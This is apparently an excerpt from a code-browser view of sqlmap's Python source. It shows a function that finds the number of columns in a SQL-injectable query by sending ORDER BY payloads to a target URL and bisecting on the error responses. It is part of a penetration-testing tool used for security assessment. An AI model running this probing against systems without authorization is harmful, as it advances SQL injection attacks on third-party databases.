Finds number of columns affected by UNION based injection
(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL)
| 53 | from lib.request.connect import Connect as Request |
| 54 | |
| 55 | def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): |
| 56 | """ |
| 57 | Finds number of columns affected by UNION based injection |
| 58 | """ |
| 59 | retVal = None |
| 60 | |
| 61 | @stackedmethod |
| 62 | def _orderByTechnique(lowerCount=None, upperCount=None): |
| 63 | def _orderByTest(cols): |
| 64 | query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) |
| 65 | query = agent.suffixQuery(query, suffix=suffix, comment=comment) |
| 66 | payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) |
| 67 | page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) |
| 68 | return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None |
| 69 | |
| 70 | if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): |
| 71 | infoMsg = "'ORDER BY' technique appears to be usable. " |
| 72 | infoMsg += "This should reduce the time needed " |
| 73 | infoMsg += "to find the right number " |
| 74 | infoMsg += "of query columns. Automatically extending the " |
| 75 | infoMsg += "range for current UNION query injection technique test" |
| 76 | singleTimeLogMessage(infoMsg) |
| 77 | |
| 78 | lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount |
| 79 | found = None |
| 80 | while not found: |
| 81 | if not conf.uCols and _orderByTest(highCols): |
| 82 | lowCols = highCols |
| 83 | highCols += ORDER_BY_STEP |
| 84 | |
| 85 | if highCols > ORDER_BY_MAX: |
| 86 | break |
| 87 | else: |
| 88 | while not found: |
| 89 | mid = highCols - (highCols - lowCols) // 2 |
| 90 | if _orderByTest(mid): |
| 91 | lowCols = mid |
| 92 | else: |
| 93 | highCols = mid |
| 94 | if (highCols - lowCols) < 2: |
| 95 | found = lowCols |
| 96 | |
| 97 | return found |
| 98 | |
| 99 | try: |
| 100 | pushValue(kb.errorIsNone) |
| 101 | items, ratios = [], [] |
| 102 | kb.errorIsNone = False |
| 103 | lowerCount, upperCount = conf.uColsStart, conf.uColsStop |
| 104 | |
| 105 | if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof |
| 106 | found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() |
| 107 | |
| 108 | if found: |
| 109 | kb.orderByColumns = found |
| 110 | infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") |
| 111 | singleTimeLogMessage(infoMsg) |
| 112 | return found |
no test coverage detected
searching dependent graphs…